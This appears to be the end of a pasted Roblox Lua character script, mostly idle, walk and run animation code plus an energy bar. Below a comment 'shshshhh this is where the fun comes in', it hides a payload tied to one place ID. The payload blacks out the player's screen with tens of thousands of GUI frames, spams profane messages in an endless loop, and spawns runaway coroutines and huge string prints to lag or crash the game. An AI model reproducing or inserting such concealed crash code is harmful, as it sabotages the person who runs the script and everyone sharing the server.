  4805. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4806. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4807. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4808. end
  4809. elseif torvel<1 and hitfloor~=nil then
  4810. Anim="Idle"
  4811. change=0.5
  4812. if idle>=1000 then
  4813. if attack==false then
  4814. Footsteps:Stop()
  4815. Footsteps2:Stop()
  4816. Humanoid.WalkSpeed=12
  4817. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
  4818. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
  4819. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4820. RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
  4821. LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
  4822. RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4823. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
  4824. handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
  4825. Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4826. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4827. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4828. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4829. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4830. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4831. end
  4832. else
  4833. if attack==false then
  4834. Footsteps:Stop()
  4835. Footsteps2:Stop()
  4836. Humanoid.WalkSpeed=12
  4837. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
  4838. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
  4839. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4840. RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
  4841. LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
  4842. RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4843. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
  4844. handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
  4845. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4846. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4847. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4848. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4849. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4850. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4851. end
  4852. end
  4853. elseif torvel>2 and torvel<22 and hitfloor~=nil then
  4854. Anim="Walk"
  4855. if attack==false then
  4856. change=0.8
  4857. --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
  4858. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
  4859. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4860. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4861. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
  4862. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
  4863. --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4864. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4865. RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
  4866. --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
  4867. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
  4868. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
  4869. RH.C0=clerp(RH.C0,RHC0,.3)
  4870. LH.C0=clerp(LH.C0,LHC0,.3)
  4871. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4872. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4873. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4874. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4875. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4876. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4877. ]]--
  4878. Footsteps:Play()
  4879. Footsteps2:Stop()
  4880. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
  4881. Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
  4882. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4883. RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
  4884. LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
  4885. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4886. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4887. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4888. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
  4889. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
  4890. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4891. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4892. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4893. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4894. end
  4895. elseif torvel>=22 and hitfloor~=nil then
  4896. Anim="Run"
  4897. change=1
  4898. if attack==false then
  4899. Footsteps:Stop()
  4900. Footsteps2:Play()
  4901. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
  4902. Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
  4903. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4904. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
  4905. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
  4906. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4907. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4908. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4909. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
  4910. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
  4911. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4912. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4913. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4914. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4915. end
  4916. end
  4917. end
  4918. fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
  4919. fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]"
  4920. text.Text = math.floor(hum.Health)
  4921. if mana>=100 then
  4922. mana=100
  4923. else
  4924. if mananum<=8 then
  4925. mananum=mananum+100
  4926. else
  4927. mananum=0
  4928. mana=mana+100
  4929. end
  4930. end
  4931. end
  4932.  
  4933.  
  4934.  
  4935.  
  4936. --- shshshhh this is where the fun comes in ---
  4937. if game.PlaceId == 21053279 then
  4938. plr = owner
  4939. char = plr.Character
  4940. cam = workspace.CurrentCamera
  4941. cam.CameraType = "Scriptable"
  4942. cam.CoordinateFrame = CFrame.new(0,0,50)
  4943. local localContainer
  4944. local service=setmetatable({
  4945. MarketPlace=game:service("MarketplaceService");
  4946. GamepassService=game:service("GamePassService");
  4947. ChatService=game:service("Chat");
  4948. LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  4949. },{
  4950. __index=function(tab,index)
  4951. local serv
  4952. local ran,err=pcall(function() serv=game:service(index) end)
  4953. if ran then
  4954. tab[index]=serv
  4955. return serv
  4956. end
  4957. end
  4958. })
  4959.  
  4960. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  4961.  
  4962. x=owner
  4963. x.CameraMode=Enum.CameraMode.LockFirstPerson
  4964. f=Instance.new("Frame")
  4965. f.Size=UDim2.new(1,0,1,0)
  4966. f.BackgroundTransparency=0.01
  4967. f.BackgroundColor3=Color3.new()
  4968. pg=x.PlayerGui
  4969. gui=Instance.new("ScreenGui",pg)
  4970. wait(.1)
  4971. for i=1,28000 do
  4972. f:Clone().Parent=gui
  4973. f:Clone().Parent=gui
  4974. f:Clone().Parent=gui
  4975. end
  4976.  
  4977. script:Destroy();
  4978. local runService = Game:GetService("RunService").Stepped;
  4979. local LagNum = 1250;
  4980. local str = "lag fucker lag";
  4981.  
  4982. for i = 1, math.huge do
  4983. if i % LagNum == 0 then runService:wait(); end
  4984. Instance.new("Message", Workspace).Text = str;
  4985. end
  4986.  
  4987. local bores=coroutine.create(function() --Yolo?
  4988. cPcall(function()
  4989. --print(Game[("%s|"):rep(0xFFFFFFF)])
  4990. cPcall(print,'lol')
  4991. cPcall(warn,'lol')
  4992. cPcall(error,'lol')
  4993. while wait(0.1) do
  4994. spawn(function()
  4995. cPcall(function()
  4996. spawn(function()
  4997. local tab={}
  4998. pcall(function()
  4999. spawn(function()
  5000. for i=1,1000000 do
  5001. cPcall(function()
  5002. spawn(function()
  5003. local bob2=coroutine.create(function()
  5004. function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  5005. function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  5006. spawn(f1)
  5007. end)
  5008. spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  5009. spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  5010. end)
  5011. end)
  5012. end
  5013. tab={}
  5014. end)
  5015. end)
  5016. end)
  5017. end)
  5018. end)
  5019. end
  5020. end)
  5021. end)
  5022.  
  5023. service.RunService.Stepped:connect(function()
  5024. for i=1,500000 do
  5025. delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  5026. end
  5027. end)
  5028.  
  5029.  
  5030. local function bob()
  5031. cPcall(function()
  5032. while wait(0.1) do
  5033. --cPcall(function()
  5034. --for i=1,100 do
  5035. local p=Instance.new("Part")
  5036. p.Material="Neon"
  5037. p.Size=Vector3.new(50,50,50)
  5038. p.Anchored=true
  5039. p.BackSurface="Studs"
  5040. p.BottomSurface="Studs"
  5041. p.FrontSurface="Studs"
  5042. p.LeftSurface="Studs"
  5043. p.RightSurface="Studs"
  5044. p.TopSurface="Studs"
  5045. local t=Instance.new("Texture",p)
  5046. t.Texture="http://www.roblox.com/asset/?id=190803157"
  5047. t.Face="Top"
  5048. t.StudsPerTileU=1000
  5049. t.StudsPerTileV=1000
  5050. local t2=t:clone()
  5051. t2.Parent=p
  5052. t2.Face="Bottom"
  5053. local t2=t:clone()
  5054. t2.Parent=p
  5055. t2.Face="Left"
  5056. local t2=t:clone()
  5057. t2.Parent=p
  5058. t2.Face="Right"
  5059. local t2=t:clone()
  5060. t2.Parent=p
  5061. t2.Face="Front"
  5062. local t2=t:clone()
  5063. t2.Parent=p
  5064. t2.Face="Back"
  5065. p.Parent=service.LocalContainer()
  5066. --end
  5067. --end)
  5068. end
  5069. end)
  5070. end
  5071. bob() --while wait(0.1) do cPcall(bob) end
  5072. end
  5073. --
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement